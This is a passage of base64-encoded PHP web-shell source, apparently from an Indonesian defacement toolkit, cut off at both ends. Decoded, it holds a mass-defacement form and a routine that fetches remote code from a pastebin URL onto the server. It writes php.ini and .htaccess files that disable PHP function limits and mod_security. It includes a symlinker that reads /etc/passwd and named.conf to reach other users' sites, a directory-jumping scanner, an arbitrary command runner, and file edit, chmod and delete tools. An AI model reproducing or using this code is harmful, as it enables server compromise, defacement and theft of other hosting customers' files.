tZT0nc3RhcnQnIHZhbHVlPSdNYXNzIERlZmFjZScgc3R5bGU9J3dpZHRoOiA0NTBweDsnPgogICAgPC9mb3JtPjwvY2VudGVyPiI7CiAgICB9CiAgICAKCiNDSEFOR0VQQVNTV09SRENQCiB9IGVsc2VpZigkX0dFVFsnYSddID09ICdnZXRjcCcpIHsKICAgICRmdWxsID0gc3RyX3JlcGxhY2UoJF9TRVJWRVJbJ0RPQ1VNRU5UX1JPT1QnXSwgIiIsICRkaXIpOwogICAgZnVuY3Rpb24gZ2V0Y3AoJHVybCwgJGlzaSkgewogICAgICAgICRmcCA9IGZvcGVuKCRpc2ksICJ3Iik7CiAgICAgICAgJGNoID0gY3VybF9pbml0KCk7CiAgICAgICAgICAgICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1VSTCwgJHVybCk7CiAgICAgICAgICAgICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0JJTkFSWVRSQU5TRkVSLCB0cnVlKTsKICAgICAgICAgICAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsIHRydWUpOwogICAgICAgICAgICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9TU0xfVkVSSUZZUEVFUiwgZmFsc2UpOwogICAgICAgICAgICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9GSUxFLCAkZnApOwogICAgICAgIHJldHVybiBjdXJsX2V4ZWMoJGNoKTsKICAgICAgICAgICAgICBjdXJsX2Nsb3NlKCRjaCk7CiAgICAgICAgZmNsb3NlKCRmcCk7CiAgICAgICAgb2JfZmx1c2goKTsKICAgICAgICBmbHVzaCgpOwogICAgfQogICAgaWYoZmlsZV9leGlzdHMoJ2dldGNwLnBocCcpKSB7CiAgICAgICAgZWNobyAiPGNlbnRlcj48Zm9udCBjb2xvcj1saW1lPjxhIGhyZWY9JyRmdWxsL2dldGNwLnBocCcgdGFyZ2V0PSdfYmxhbmsnPi0+IGNsaWNrID46KCA8LTwvYT48L2ZvbnQ+PC9jZW50ZXI+IjsKICAgIH0gZWxzZSB7CiAgICAgICAgaWYoZ2V0Y3AoImh0dHBzOi8vcGFzdGViaW4uY29tL3Jhdy9ic0wyZ0J0dSIsImdldGNwLnBocCIpKSB7CiAgICAgICAgICAgIGVjaG8gIjxjZW50ZXI+PGZvbnQgY29sb3I9bGltZT48YSBocmVmPSckZnVsbC9nZXRjcC5waHAnIHRhcmdldD0nX2JsYW5rJz4gb2trPC9hPjwvZm9udD48L2NlbnRlcj4iOwogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgIGVjaG8gIjxjZW50ZXI+PGZvbnQgY29sb3I9cmVkPkVycm9yIDooPC9mb250PjwvY2VudGVyPiI7CiAgICAgICAgfQogICAgfQoKCn0gZWxzZWlmKCRfR0VUWydhJ10gPT0gJ2Rpc2FibGVmdW5jJyl7CiAgICAgICAgZWNobyAiPGJyPjxicj48Y2VudGVyPiI7CiAgICAgICAgZWNobyAiPGZvcm0gbWV0aG9kPXBvc3Q+PGlucHV0IHR5cGU9c3VibWl0IG5hbWU9aW5pIHZhbHVlPSdwaHAuaW5pJyAvPiZuYnNwOzxpbnB1dCB0eXBlPXN1Ym1pdCBuYW1lPWh0Y2UgdmFsdWU9Jy5odGFjY2VzcycgLz4mbmJzcDs8aW5wdXQgdHlwZT1zdWJtaXQgbmFtZT1saXRpbmkgdmFsdWU9J0xpdGVzcGVlZCcgLz48L2Zvcm0+IjsKICAgICAgICBpZihpc3NldCgkX1BPU1RbJ2luaSddKSkKewogICAgICAgICRmaWxlID0gZm9wZW4oInBocC5pbmkiLCJ3Iik7CiAgICAgICAgZWNobyBmd3JpdGUoJGZpbGUsImRpc2FibGVfZnVuY3Rpb25zPW5vbmUKc2FmZV9tb2RlID0gT2ZmCiAgICAiKTsKICAgICAgICBmY2xvc2UoJGZpbGUpOwogICAgICAgIGVjaG8gIjxhIGhyZWY9J3BocC5pbmknPmNsaWNrIGhlcmUhPC9hPiI7Cn0gICAgICAgaWYoaXNzZXQoJF9QT1NUWydodGNlJ10pKQp7CiAgICAgICAgJGZpbGUgPSBmb3BlbigiLmh0YWNjZXNzIiwidyIpOwogICAgICAgIGVjaG8gZndyaXRlKCRmaWxlLCI8SWZNb2R1bGUgbW9kX3NlY3VyaXR5LmM+ClNlY0ZpbHRlckVuZ2luZSBPZmYKU2VjRmlsdGVyU2NhblBPU1QgT2ZmCjwvSWZNb2R1bGU+CiAgICAiKTsKICAgICAgICBmY2xvc2UoJGZpbGUpOwogICAgICAgIGVjaG8gImh0YWNjZXNzIHN1Y2Nlc3NmdWxseSBjcmVhdGVkISI7Cn0gICAgICAgICAgICAgICBpZihpc3NldCgkX1BPU1RbJ2xpdGluaSddKSl7CiAgICAgICAgJGluaXBoID0gJzw/IG4gZWNobyBpbmlfZ2V0KCJzYWZlX21vZGUiKTsgbiBlY2hvIGluaV9nZXQoIm9wZW5fYmFzZWRpciIpOyBuIGluY2x1ZGUoJF9HRVRbImZpbGUiXSk7IG4gaW5pX3Jlc3RvcmUoInNhZmVfbW9kZSIpOyBuIGluaV9yZXN0b3JlKCJvcGVuX2Jhc2VkaXIiKTsgbiBlY2hvIGluaV9nZXQoInNhZmVfbW9kZSIpOyBuIGVjaG8gaW5pX2dldCgib3Blbl9iYXNlZGlyIik7IG4gaW5jbHVkZSgkX0dFVFsic3MiXTsgbiA/Pic7CiAgICAgICAgICAgICAkYnlwaCA9ICJzYWZlX21vZGUgPSBPZmYgbiBkaXNhYmxlX2Z1bmN0aW9ucz0gIjsKICAgICAgICAkY29tcD0iUEVacGJHVnpJQ291Y0dod1BnMEtSbTl5WTJWVWVYQmxJR0Z3Y0d4cFkyRjBhVzl1TDNndGFIUjBjR1F0Y0dod05BMEtQQzlHYVd4bGN6ND0iOwogICAgICAgIGZpbGVfcHV0X2NvbnRlbnRzKCJwaHAuaW5pIixiYXNlNjRfZGVjb2RlKCRieXBoKSk7CiAgICAgICAgZmlsZV9wdXRfY29udGVudHMoImluaS5waHAiLGJhc2U2NF9kZWNvZGUoJGluaXBoKSk7CiAgICAgICAgZmlsZV9wdXRfY29udGVudHMoIi5odGFjY2VzcyIsYmFzZTY0X2RlY29kZSgkY29tcCkpOwogICAgICAgIGVjaG8gIjxzY3JpcHQ+YWxlcnQoJ0Rpc2FibGUgRnVuY3Rpb25zIGluIExpdGVzcGVlZCBDcmVhdGVkJyk7IGhpZGVBbGwoKTs8L3NjcmlwdD4iOwogICAgICAgIGVjaG8iPC9jZW50ZXI+IjsKfQoKfQplbHNlaWYoJF9HRVRbJ2EnXSA9PSAnc3ltbGluaycpIHsKJGZ1bGwgPSBzdHJfcmVwbGFjZSgkX1NFUlZFUlsnRE9DVU1FTlRfUk9PVCddLCAiIiwgJHBhdGgpOwokZDBtYWlucyA9IEBmaWxlKCIvZXRjL25hbWVkLmNvbmYiKTsKIyNodHRhY2VzCmlmKCRkMG1haW5zKXsKQG1rZGlyKCJmaWdodGVyX3N5bSIsMDc3Nyk7CkBjaGRpcigiZmlnaHRlcl9zeW0iKTsKQGV4ZSgibG4gLXMgLyByb290Iik7CiRmaWxlMyA9ICdPcHRpb25zIEluZGV4ZXMgRm9sbG93U3ltTGlua3MKRGlyZWN0b3J5SW5kZXggZmlnaHRlci5odG0KQWRkVHlwZSB0ZXh0L3BsYWluIC5waHAKQWRkSGFuZGxlciB0ZXh0L3BsYWluIC5waHAKU2F0aXNmeSBBbnknOwokZnAzID0gZm9wZW4oJy5odGFjY2VzcycsJ3cnKTsKJGZ3MyA9IGZ3cml0ZSgkZnAzLCRmaWxlMyk7QGZjbG9zZSgkZnAzKTsKZWNobyAiPGJyPgo8dGFibGUgYWxpZ249Y2VudGVyIGJvcmRlcj0xIHN0eWxlPSd3aWR0aDo2MCU7Ym9yZGVyLWNvbG9yOiMzMzMzMzM7Jz4KPHRyPgo8dGQgYWxpZ249Y2VudGVyPjxmb250IHNpemU9Mj5TLiBOby48L2ZvbnQ+PC90ZD4KPHRkIGFsaWduPWNlbnRlcj48Zm9udCBzaXplPTI+RG9tYWluczwvZm9udD48L3RkPgo8dGQgYWxpZ249Y2VudGVyPjxmb250IHNpemU9Mj5Vc2VyczwvZm9udD48L3RkPgo8dGQgYWxpZ249Y2VudGVyPjxmb250IHNpemU9Mj5TeW1saW5rPC9mb250PjwvdGQ+CjwvdHI+IjsKJGRjb3VudCA9IDE7CmZvcmVhY2goJGQwbWFpbnMgYXMgJGQwbWFpbil7CmlmKGVyZWdpKCJ6b25lIiwkZDBtYWluKSl7cHJlZ19tYXRjaF9hbGwoJyN6b25lICIoLiopIiMnLCAkZDBtYWluLCAkZG9tYWlucyk7CmZsdXNoKCk7CmlmKHN0cmxlbih0cmltKCRkb21haW5zWzFdWzBdKSkgPiAyKXsKJHVzZXIgPSBwb3NpeF9nZXRwd3VpZChAZmlsZW93bmVyKCIvZXRjL3ZhbGlhc2VzLyIuJGRvbWFpbnNbMV1bMF0pKTsKZWNobyAiPHRyIGFsaWduPWNlbnRlcj48dGQ+PGZvbnQgc2l6ZT0yPiIgLiAkZGNvdW50IC4gIjwvZm9udD48L3RkPgo8dGQgYWxpZ249bGVmdD48YSBocmVmPWh0dHA6Ly93d3cuIi4kZG9tYWluc1sxXVswXS4iLz48Zm9udCBjbGFzcz10eHQ+Ii4kZG9tYWluc1sxXVswXS4iPC9mb250PjwvYT48L3RkPgo8dGQ+Ii4kdXNlclsnbmFtZSddLiI8L3RkPgo8dGQ+PGEgaHJlZj0nJGZ1bGwvZmlnaHRlcl9zeW0vcm9vdC9ob21lLyIuJHVzZXJbJ25hbWUnXS4iL3B1YmxpY19odG1sJyB0YXJnZXQ9J19ibGFuayc+PGZvbnQgY2xhc3M9dHh0PlN5bWxpbms8L2ZvbnQ+PC9hPjwvdGQ+PC90cj4iOwpmbHVzaCgpOwokZGNvdW50Kys7fX19CmVjaG8gIjwvdGFibGU+IjsKfWVsc2V7CiRURVNUPUBmaWxlKCcvZXRjL3Bhc3N3ZCcpOwppZiAoJFRFU1QpewpAbWtkaXIoImZpZ2h0ZXJfc3ltIiwwNzc3KTsKQGNoZGlyKCJmaWdodGVyX3N5bSIpOwpleGUoImxuIC1zIC8gcm9vdCIpOwokZmlsZTMgPSAnT3B0aW9ucyBJbmRleGVzIEZvbGxvd1N5bUxpbmtzCkRpcmVjdG9yeUluZGV4IGZpZ2h0ZXIuaHRtCkFkZFR5cGUgdGV4dC9wbGFpbiAucGhwCkFkZEhhbmRsZXIgdGV4dC9wbGFpbiAucGhwClNhdGlzZnkgQW55JzsKICRmcDMgPSBmb3BlbignLmh0YWNjZXNzJywndycpOwogJGZ3MyA9IGZ3cml0ZSgkZnAzLCRmaWxlMyk7CiBAZmNsb3NlKCRmcDMpOwogZWNobyAiCiA8dGFibGUgYWxpZ249Y2VudGVyIGJvcmRlcj0xPjx0cj4KIDx0ZCBhbGlnbj1jZW50ZXI+PGZvbnQgc2l6ZT0zPlMuIE5vLjwvZm9udD48L3RkPgogPHRkIGFsaWduPWNlbnRlcj48Zm9udCBzaXplPTM+VXNlcnM8L2ZvbnQ+PC90ZD4KIDx0ZCBhbGlnbj1jZW50ZXI+PGZvbnQgc2l6ZT0zPlN5bWxpbms8L2ZvbnQ+PC90ZD48L3RyPiI7CiAkZGNvdW50ID0gMTsKICRmaWxlID0gZm9wZW4oIi9ldGMvcGFzc3dkIiwgInIiKSBvciBleGl0KCJVbmFibGUgdG8gb3BlbiBmaWxlISIpOwogd2hpbGUoIWZlb2YoJGZpbGUpKXsKICRzID0gZmdldHMoJGZpbGUpOwogJG1hdGNoZXMgPSBhcnJheSgpOwogJHQgPSBwcmVnX21hdGNoKCcvXC8oLio/KVw6XC8vcycsICRzLCAkbWF0Y2hlcyk7CiAkbWF0Y2hlcyA9IHN0cl9yZXBsYWNlKCJob21lLyIsIiIsJG1hdGNoZXNbMV0pOwogaWYoc3RybGVuKCRtYXRjaGVzKSA+IDEyIHx8IHN0cmxlbigkbWF0Y2hlcykgPT0gMCB8fCAkbWF0Y2hlcyA9PSAiYmluIiB8fCAkbWF0Y2hlcyA9PSAiZXRjL1gxMS9mcyIgfHwgJG1hdGNoZXMgPT0gInZhci9saWIvbmZzIiB8fCAkbWF0Y2hlcyA9PSAidmFyL2FycHdhdGNoIiB8fCAkbWF0Y2hlcyA9PSAidmFyL2dvcGhlciIgfHwgJG1hdGNoZXMgPT0gInNiaW4iIHx8ICRtYXRjaGVzID09ICJ2YXIvYWRtIiB8fCAkbWF0Y2hlcyA9PSAidXNyL2dhbWVzIiB8fCAkbWF0Y2hlcyA9PSAidmFyL2Z0cCIgfHwgJG1hdGNoZXMgPT0gImV0Yy9udHAiIHx8ICRtYXRjaGVzID09ICJ2YXIvd3d3IiB8fCAkbWF0Y2hlcyA9PSAidmFyL25hbWVkIikKIGNvbnRpbnVlOwogZWNobyAiPHRyPjx0ZCBhbGlnbj1jZW50ZXI+PGZvbnQgc2l6ZT0yPiIgLiAkZGNvdW50IC4gIjwvdGQ+CiA8dGQgYWxpZ249Y2VudGVyPjxmb250IGNsYXNzPXR4dD4iIC4gJG1hdGNoZXMgLiAiPC90ZD4iOwogZWNobyAiPHRkIGFsaWduPWNlbnRlcj48Zm9udCBjbGFzcz10eHQ+PGEgaHJlZj0kZnVsbC9maWdodGVyX3N5bS9yb290L2hvbWUvIiAuICRtYXRjaGVzIC4gIi9wdWJsaWNfaHRtbCB0YXJnZXQ9J19ibGFuayc+U3ltbGluazwvYT48L3RkPjwvdHI+IjsKICRkY291bnQrKzt9ZmNsb3NlKCRmaWxlKTsKIGVjaG8gIjwvdGFibGU+Ijt9ZWxzZXtpZigkb3MgIT0gIldpbmRvd3MiKXtAbWtkaXIoImZpZ2h0ZXJfc3ltIiwwNzc3KTtAY2hkaXIoImZpZ2h0ZXJfc3ltIik7QGV4ZSgibG4gLXMgLyByb290Iik7JGZpbGUzID0gJwogT3B0aW9ucyBJbmRleGVzIEZvbGxvd1N5bUxpbmtzCkRpcmVjdG9yeUluZGV4IGZpZ2h0ZXIuaHRtCkFkZFR5cGUgdGV4dC9wbGFpbiAucGhwCkFkZEhhbmRsZXIgdGV4dC9wbGFpbiAucGhwClNhdGlzZnkgQW55Cic7CiAkZnAzID0gZm9wZW4oJy5odGFjY2VzcycsJ3cnKTsKICRmdzMgPSBmd3JpdGUoJGZwMywkZmlsZTMpO0BmY2xvc2UoJGZwMyk7CiBlY2hvICIKIDxkaXYgY2xhc3M9J215Ym94Jz48aDIgY2xhc3M9J2sybGwzM2QyJz5zZXJ2ZXIgc3ltbGlua2VyPC9oMj4KIDx0YWJsZSBhbGlnbj1jZW50ZXIgYm9yZGVyPTE+PHRyPgogPHRkIGFsaWduPWNlbnRlcj48Zm9udCBzaXplPTM+SUQ8L2ZvbnQ+PC90ZD4KIDx0ZCBhbGlnbj1jZW50ZXI+PGZvbnQgc2l6ZT0zPlVzZXJzPC9mb250PjwvdGQ+CiA8dGQgYWxpZ249Y2VudGVyPjxmb250IHNpemU9Mz5TeW1saW5rPC9mb250PjwvdGQ+PC90cj4iOwogJHRlbXAgPSAiIjskdmFsMSA9IDA7JHZhbDIgPSAxMDAwOwogZm9yKDskdmFsMSA8PSAkdmFsMjskdmFsMSsrKSB7JHVpZCA9IEBwb3NpeF9nZXRwd3VpZCgkdmFsMSk7CiBpZiAoJHVpZCkkdGVtcCAuPSBqb2luKCc6JywkdWlkKS4iXG4iO30KIGVjaG8gJzxici8+JzskdGVtcCA9IHRyaW0oJHRlbXApOyRmaWxlNSA9CiBmb3BlbigidGVzdC50eHQiLCJ3Iik7CiBmcHV0cygkZmlsZTUsJHRlbXApOwogZmNsb3NlKCRmaWxlNSk7JGRjb3VudCA9IDE7JGZpbGUgPQogZm9wZW4oInRlc3QudHh0IiwgInIiKSBvciBleGl0KCJVbmFibGUgdG8gb3BlbiBmaWxlISIpOwogd2hpbGUoIWZlb2YoJGZpbGUpKXskcyA9IGZnZXRzKCRmaWxlKTskbWF0Y2hlcyA9IGFycmF5KCk7CiAkdCA9IHByZWdfbWF0Y2goJy9cLyguKj8pXDpcLy9zJywgJHMsICRtYXRjaGVzKTskbWF0Y2hlcyA9IHN0cl9yZXBsYWNlKCJob21lLyIsIiIsJG1hdGNoZXNbMV0pOwogaWYoc3RybGVuKCRtYXRjaGVzKSA+IDEyIHx8IHN0cmxlbigkbWF0Y2hlcykgPT0gMCB8fCAkbWF0Y2hlcyA9PSAiYmluIiB8fCAkbWF0Y2hlcyA9PSAiZXRjL1gxMS9mcyIgfHwgJG1hdGNoZXMgPT0gInZhci9saWIvbmZzIiB8fCAkbWF0Y2hlcyA9PSAidmFyL2FycHdhdGNoIiB8fCAkbWF0Y2hlcyA9PSAidmFyL2dvcGhlciIgfHwgJG1hdGNoZXMgPT0gInNiaW4iIHx8ICRtYXRjaGVzID09ICJ2YXIvYWRtIiB8fCAkbWF0Y2hlcyA9PSAidXNyL2dhbWVzIiB8fCAkbWF0Y2hlcyA9PSAidmFyL2Z0cCIgfHwgJG1hdGNoZXMgPT0gImV0Yy9udHAiIHx8ICRtYXRjaGVzID09ICJ2YXIvd3d3IiB8fCAkbWF0Y2hlcyA9PSAidmFyL25hbWVkIikKIGNvbnRpbnVlOwogZWNobyAiPHRyPjx0ZCBhbGlnbj1jZW50ZXI+PGZvbnQgc2l6ZT0yPiIgLiAkZGNvdW50IC4gIjwvdGQ+CiA8dGQgYWxpZ249Y2VudGVyPjxmb250IGNsYXNzPXR4dD4iIC4gJG1hdGNoZXMgLiAiPC90ZD4iOwogZWNobyAiPHRkIGFsaWduPWNlbnRlcj48Zm9udCBjbGFzcz10eHQ+PGEgaHJlZj0kZnVsbC9maWdodGVyX3N5bS9yb290L2hvbWUvIiAuICRtYXRjaGVzIC4gIi9wdWJsaWNfaHRtbCB0YXJnZXQ9J19ibGFuayc+U3ltbGluazwvYT48L3RkPjwvdHI+IjsKICRkY291bnQrKzt9CiBmY2xvc2UoJGZpbGUpOwogZWNobyAiPC90YWJsZT48L2Rpdj48L2NlbnRlcj4iO3VubGluaygidGVzdC50eHQiKTsKIH0gZWxzZQogZWNobyAiPGNlbnRlcj48Zm9udCBzaXplPTM+Q2FuIG5vdCBjcmVhdGUgU3ltbGluazwvZm9udD48L2NlbnRlcj4iOwogfQogfQoKIyNKVU1QSU5HIAp9IGVsc2VpZigkX0dFVFsnYSddID09ICdqdW1waW5nJykgewogICAgJGkgPSAwOwogICAgZWNobyAiPHByZT48ZGl2IGNsYXNzPSdtYXJnaW46IDVweCBhdXRvOyc+IjsKICAgICRldGMgPSBmb3BlbigiL2V0Yy9wYXNzd2QiLCAiciIpIG9yIGRpZSgiPGZvbnQgY29sb3I9cmVkPkNhbid0IHJlYWQgL2V0Yy9wYXNzd2Q8L2ZvbnQ+Iik7CiAgICB3aGlsZSgkcGFzc3dkID0gZmdldHMoJGV0YykpIHsKaWYoJHBhc3N3ZCA9PSAnJyB8fCAhJGV0YykgewogICAgZWNobyAiPGZvbnQgY29sb3I9cmVkPkNhbid0IHJlYWQgL2V0Yy9wYXNzd2Q8L2ZvbnQ+IjsKfSBlbHNlIHsKICAgIHByZWdfbWF0Y2hfYWxsKCcvKC4qPyk6eDovJywgJHBhc3N3ZCwgJHVzZXJfanVtcGluZyk7CiAgICBmb3JlYWNoKCR1c2VyX2p1bXBpbmdbMV0gYXMgJHVzZXJfaWR4X2p1bXApIHsKICAgICAgICAkdXNlcl9qdW1waW5nX2RpciA9ICIvaG9tZS8kdXNlcl9pZHhfanVtcC9wdWJsaWNfaHRtbCI7CiAgICAgICAgaWYoaXNfcmVhZGFibGUoJHVzZXJfanVtcGluZ19kaXIpKSB7CiAgICAgICAgICAgICRpKys7CiAgICAgICAgICAgICRqcncgPSAiWzxmb250IGNvbG9yPSM1ZGRjZmM+UjwvZm9udD5dIDxhIGhyZWY9Jz9kaXI9JHVzZXJfanVtcGluZ19kaXInPjxmb250IGNvbG9yPXJlZD4kdXNlcl9qdW1waW5nX2RpcjwvZm9udD48L2E+IjsKICAgICAgICAgICAgaWYoaXNfd3JpdGFibGUoJHVzZXJfanVtcGluZ19kaXIpKSB7CiAgICAgICAgICAgICAgICAkanJ3ID0gIls8Zm9udCBjb2xvcj0jNWRkY2ZjPlJXPC9mb250Pl0gPGEgaHJlZj0nP2Rpcj0kdXNlcl9qdW1waW5nX2Rpcic+PGZvbnQgY29sb3I9IzVkZGNmYz4kdXNlcl9qdW1waW5nX2RpcjwvZm9udD48L2E+IjsKICAgICAgICAgICAgfQogICAgICAgICAgICBlY2hvICRqcnc7CiAgICAgICAgICAgIGlmKGZ1bmN0aW9uX2V4aXN0cygncG9zaXhfZ2V0cHd1aWQnKSkgewogICAgICAgICAgICAgICAgJGRvbWFpbl9qdW1wID0gZmlsZV9nZXRfY29udGVudHMoIi9ldGMvbmFtZWQuY29uZiIpOyAgIAogICAgICAgICAgICAgICAgaWYoJGRvbWFpbl9qdW1wID09ICcnKSB7CiAgICAgICAgICAgICAgICAgICAgZWNobyAiID0+ICggPGZvbnQgY29sb3I9cmVkPmdhZ2FsIG1lbmdhbWJpbCBuYW1hIGRvbWFpbiBueWE8L2ZvbnQ+ICk8YnI+IjsKICAgICAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAgICAgcHJlZ19tYXRjaF9hbGwoIiMvdmFyL25hbWVkLyguKj8pLmRiIyIsICRkb21haW5fanVtcCwgJGRvbWFpbnNfanVtcCk7CiAgICAgICAgICAgICAgICAgICAgZm9yZWFjaCgkZG9tYWluc19qdW1wWzFdIGFzICRkaikgewogICAgICAgICAgICAgICAgICAgICAgICAkdXNlcl9qdW1waW5nX3VybCA9IHBvc2l4X2dldHB3dWlkKEBmaWxlb3duZXIoIi9ldGMvdmFsaWFzZXMvJGRqIikpOwogICAgICAgICAgICAgICAgICAgICAgICAkdXNlcl9qdW1waW5nX3VybCA9ICR1c2VyX2p1bXBpbmdfdXJsWyduYW1lJ107CiAgICAgICAgICAgICAgICAgICAgICAgIGlmKCR1c2VyX2p1bXBpbmdfdXJsID09ICR1c2VyX2lkeF9qdW1wKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICIgPT4gKCA8dT4kZGo8L3U+ICk8YnI+IjsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgZWNobyAiPGJyPiI7CiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICB9Cn0KICAgIH0KICAgIGlmKCRpID09IDApIHsKICAgIH0gZWxzZSB7CmVjaG8gIjxicj5Ub3RhbCBhZGEgIi4kaS4iIEthbWFyIGRpICIuZ2V0aG9zdGJ5bmFtZSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pLiIiOwogICAgCiAgICBlY2hvICI8L2Rpdj48L3ByZT4iOwogICAgICAgIH0KCiAgICAKCgovL0NPTkZJRwoKfSBlbHNlaWYoJF9HRVRbJ2EnXSA9PSAnY21kJykgewogICAgZWNobyAiPGZvcm0gbWV0aG9kPSdwb3N0Jz4KICAgIDxmb250IHN0eWxlPSd0ZXh0LWRlY29yYXRpb246IHVuZGVybGluZTsnPiIuJHVzZXIuIkAiLiRpcC4iOiB+ICQgPC9mb250PgogICAgPGlucHV0IHR5cGU9J3RleHQnIHNpemU9JzMwJyBoZWlnaHQ9JzEwJyBuYW1lPSdjbWQnPjxpbnB1dCB0eXBlPSdzdWJtaXQnIG5hbWU9J2RvX2NtZCcgdmFsdWU9Jz4+Jz4KICAgIDwvZm9ybT4iOwogICAgaWYoJF9QT1NUWydkb19jbWQnXSkgewogICAgICAgIGVjaG8gIjxwcmU+Ii5leGUoJF9QT1NUWydjbWQnXSkuIjwvcHJlPiI7CiAgICB9CgovL1NUQVJUCn0gZWxzZWlmKGlzc2V0KCRfR0VUWydmaWxlc3JjJ10pKXsKZWNobyAiPHRyPjx0ZD5DdXJyZW50IEZpbGUgOiAiOwplY2hvICRfR0VUWydmaWxlc3JjJ107CmVjaG8gJzwvdHI+PC90ZD48L3RhYmxlPjxiciAvPic7CmVjaG8oJyA8Y2VudGVyPjx0ZXh0YXJlYSBzdHlsZT0id2lkdGg6ODAlO2hlaWdodDo1MCU7IiByZWFkb25seT4gJy5odG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKCRfR0VUWydmaWxlc3JjJ10pKS4nPC90ZXh0YXJlYT48L2NlbnRlcj4nKTsKfWVsc2VpZihpc3NldCgkX0dFVFsnb3B0aW9uJ10pICYmICRfUE9TVFsnb3B0J10gIT0gJ2RlbGV0ZScpewplY2hvICc8L3RhYmxlPjxiciAvPicuJF9QT1NUWydwYXRoJ10uJzxiciAvPjxiciAvPic7CmlmKCRfUE9TVFsnb3B0J10gPT0gJ2NobW9kJyl7CmlmKGlzc2V0KCRfUE9TVFsncGVybSddKSl7CmlmKGNobW9kKCRfUE9TVFsncGF0aCddLCRfUE9TVFsncGVybSddKSl7CmVjaG8gJzxmb250IGNvbG9yPSJ5ZWxsb3ciPiAgUGVybWlzc2lvbiBPa2s8L2ZvbnQ+PGJyIC8+JzsKfWVsc2V7CmVjaG8gJzxmb250IGNvbG9yPSJSRUQiPiBQZXJtaXNzaW9uIGVycm9yPC9mb250PjxiciAvPic7Cn0KfQplY2hvICc8Zm9ybSBtZXRob2Q9IlBPU1QiPgpQZXJtaXNzaW9uIDogPGlucHV0IG5hbWU9InBlcm0iIHR5cGU9InRleHQiIHNpemU9IjQiIHZhbHVlPSInLnN1YnN0cihzcHJpbnRmKCclbycsIGZpbGVwZXJtcygkX1BPU1RbJ3BhdGgnXSkpLCAtNCkuJyIgLz4KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0icGF0aCIgdmFsdWU9IicuJF9QT1NUWydwYXRoJ10uJyI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9Im9wdCIgdmFsdWU9ImNobW9kIj4KPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IkNobW9kIiAvPgo8L2Zvcm0+JzsKfWVsc2VpZigkX1BPU1RbJ29wdCddID09ICdyZW5hbWUnKXsKaWYoaXNzZXQoJF9QT1NUWyduZXduYW1lJ10pKXsKaWYocmVuYW1lKCRfUE9TVFsncGF0aCddLCRwYXRoLicvJy4kX1BPU1RbJ25ld25hbWUnXSkpewplY2hvICc8Zm9udCBjb2xvcj0ieWVsbG93Ij5Eb25lPC9mb250PjxiciAvPic7Cn1lbHNlewplY2hvICc8Zm9udCBjb2xvcj0iUkVEIj5lcnJvciA8L2ZvbnQ+PGJyIC8+JzsKfQokX1BPU1RbJ25hbWUnXSA9ICRfUE9TVFsnbmV3bmFtZSddOwp9CmVjaG8gJzxmb3JtIG1ldGhvZD0iUE9TVCI+Ck5hbWEgQmFydSA6IDxpbnB1dCBuYW1lPSJuZXduYW1lIiB0eXBlPSJ0ZXh0IiBzaXplPSIzMCIgdmFsdWU9IicuJF9QT1NUWyduYW1lJ10uJyIgLz4KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0icGF0aCIgdmFsdWU9IicuJF9QT1NUWydwYXRoJ10uJyI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9Im9wdCIgdmFsdWU9InJlbmFtZSI+CjxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJVYmFoIE5hbWEiIC8+CjwvZm9ybT4nOwp9ZWxzZWlmKCRfUE9TVFsnb3B0J10gPT0gJ2VkaXQnKXsKaWYoaXNzZXQoJF9QT1NUWydzcmMnXSkpewokZnAgPSBmb3BlbigkX1BPU1RbJ3BhdGgnXSwndycpOwppZihmd3JpdGUoJGZwLCRfUE9TVFsnc3JjJ10pKXsKZWNobyAnPGZvbnQgY29sb3I9InllbGxvdyI+RWRpdCBGaWxlIERvbmU8L2ZvbnQ+PGJyIC8+JzsKfWVsc2V7CmVjaG8gJzxmb250IGNvbG9yPSJSRUQiPkVkaXQgRmlsZSBFcnJvcjwvZm9udD48YnIgLz4nOwp9CmZjbG9zZSgkZnApOwp9CmVjaG8gJzxmb3JtIG1ldGhvZD0iUE9TVCI+Cjx0ZXh0YXJlYSBjb2xzPTE0MCByb3dzPTIwIG5hbWU9InNyYyI+Jy5odG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKCRfUE9TVFsncGF0aCddKSkuJzwvdGV4dGFyZWE+PGJyIC8+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InBhdGgiIHZhbHVlPSInLiRfUE9TVFsncGF0aCddLiciPgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJvcHQiIHZhbHVlPSJlZGl0Ij4KPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IkVkaXQgRmlsZSIgLz4KPC9mb3JtPic7Cn0KZWNobyAnPC9jZW50ZXI+JzsKfWVsc2V7CmVjaG8gJzwvdGFibGU+PGJyIC8+PGNlbnRlcj4nOwppZihpc3NldCgkX0dFVFsnb3B0aW9uJ10pICYmICRfUE9TVFsnb3B0J10gPT0gJ2RlbGV0ZScpewppZigkX1BPU1RbJ3R5cGUnXSA9PSAnZGlyJyl7CmlmKHJtZGlyKCRfUE9TVFsncGF0aCddKSl7CmVjaG8gJzxmb250IGNvbG9yPSJ5ZWxsb3ciPkRvbmU8L2ZvbnQ+PGJyIC8+JzsKfWVsc2V7CmVjaG8